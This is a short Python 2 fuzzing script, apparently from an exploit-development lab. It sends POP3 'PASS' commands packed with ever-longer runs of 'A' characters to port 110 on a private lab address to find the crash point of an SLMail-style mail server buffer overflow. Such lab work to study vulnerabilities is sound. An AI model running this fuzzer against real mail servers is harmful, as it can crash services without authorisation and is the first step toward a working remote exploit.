sl_mail_fuzzer.py

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
	buffer.append("A"*counter)
	counter+=200
for string in buffer:
	print "Fuzzing PASS with {} bytes".format(str(len(string)))
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect=s.connect(("10.11.11.158",110))
	s.recv(1024)
	s.send("USER test\r\n")
	s.recv(1024)
	s.send("PASS"+string+'\r\n')
	s.send("QUIT\r\n")
	s.close()